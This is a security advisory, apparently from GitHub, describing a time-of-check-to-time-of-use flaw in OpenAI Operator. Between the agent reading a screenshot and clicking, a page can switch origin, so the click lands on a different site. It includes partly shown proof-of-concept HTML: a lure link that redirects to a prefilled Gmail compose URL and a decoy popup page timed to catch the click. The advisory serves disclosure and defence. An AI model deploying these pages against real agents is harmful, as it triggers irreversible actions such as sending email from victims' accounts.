Advisoriesby IbisOpenAI Operator - Click on arbitrary origin by TOCTOU attack
Summary
There is a delay between OpenAI Operator’s action prediction based on the screenshot and Operator’s actual action trigger. If timed correctly, an attacker can navigate or switch tabs between the delay, and actual action will be triggered on a wrong origin. While [safety checks](https://platform.openai.com/docs/guides/tools-computer-use#acknowledge-safety-checks) might detect something went wrong, this is too late as action was already triggered on the wrong origin.
Severity
High - This vulnerability allows an attacker to trigger click on arbitrary coordinates on arbitrary origin, which leads to irreversible state-changing action.
Proof of Concept
open\_plz.html
```html
<h2>Before accessing the page</h2>
<a href=# onclick=go()>Please read terms of accessing this website</a>
<script>
function go(){
window.open("/click_plz.html");
location.href = "https://mail.google.com/mail/u/0/?fs=1&to=your@email.com&su=hi&body=Malicous%20Email%20Sent!&tf=cm";
}
</script>
`
click\_plz.html (change “6000” as required, but 6 seconds seems to work)
```html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Centered Promotional Popup</title>
<style>
/* Basic styling for the page */
body {
font-family: 'Inter', Arial,...
Affected versions
| Package | Affected | Fixed in |
|---|---|---|
| Operator Product | all versions | No fix yet |
Details and references
## Summary There is a delay between OpenAI Operator’s action prediction based on the screenshot and Operator’s actual action trigger. If timed correctly, an attacker can navigate or switch tabs between the delay, and actual action will be triggered on a wrong origin. While [safety checks](https://platform.openai.com/docs/guides/tools-computer-use#acknowledge-safety-checks) might detect something went wrong, this is too late as action was already triggered on the wrong origin. ## Severity High - This vulnerability allows an attacker to trigger click on arbitrary coordinates on arbitrary origin, which leads to irreversible state-changing action. ## Proof of Concept open\_plz.html ```html <h2>Before accessing the page</h2> <a href=# onclick=go()>Please read terms of accessing this website</a> <script> function go(){ window.open("/click_plz.html"); location.href = "https://mail.google.com/mail/u/0/?fs=1&to=your@email.com&su=hi&body=Malicous%20Email%20Sent!&tf=cm"; } </script> ``` click\_plz.html (change “6000” as required, but 6 seconds seems to work) ```html <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Centered Promotional Popup</title> <style> /* Basic styling for the page */ body { font-family: 'Inter', Arial, sans-serif; margin: 0; padding: 0; background-color: #e9e9e9; /* Light gray background to see the popup clearly */ display: flex; align-items: center; justify-content: center; min-height: 100vh; /* Ensure body takes full viewport height */ } /* Styling for the promotional popup */ .promotional-popup { position: fixed; /* Fixed position to stay in place */ top: 92%; /* Center vertically */ left: 290px; transform: translate(-50%, -50%); /* Adjust for exact centering */ width: 90%; /* Responsive width */ max-width: 450px; /* Maximum width of the popup */ background-color: #2d3748; /* Darker, more premium background */ color: #f7fafc; /* Light text color for contrast */ padding: 30px; /* Increased padding */ box-shadow: 0 10px 25px rgba(0, 0, 0, 0.4); /* Enhanced shadow for a floating effect */ z-index: 1000; /* Ensures it's on top */ display: none; /* Hidden by default, shown by JavaScript */ box-sizing: border-box; text-align: center; border-radius: 12px; /* Rounded corners */ } .promotional-popup h2 { /* Changed paragraph to a heading for more impact */ margin: 0 0 20px 0; font-size: 22px; /* Larger font for the offer */ font-weight: 600; line-height: 1.4; color: #a0aec0; /* A slightly muted color for the heading text */ } .promotional-popup .highlight { /* Class for highlighting text */ color: #63b3ed; /* A bright blue to highlight the discount */ font-weight: 700; } .promotional-popup .close-button { position: absolute; bottom: 10px; left: 20px; font-size: 28px; font-weight: bold; color: #a0aec0; /* Muted color for the close button */ cursor: pointer; line-height: 1; transition: color 0.2s ease; } .promotional-popup .close-button:hover { color: #f7fafc; /* Brighter color on hover */ } /* Responsive adjustments for smaller screens */ @media (max-width: 480px) { .promotional-popup { padding: 25px; width: 95%; } .promoti
- Severity from
- GitHub (reviewed advisory)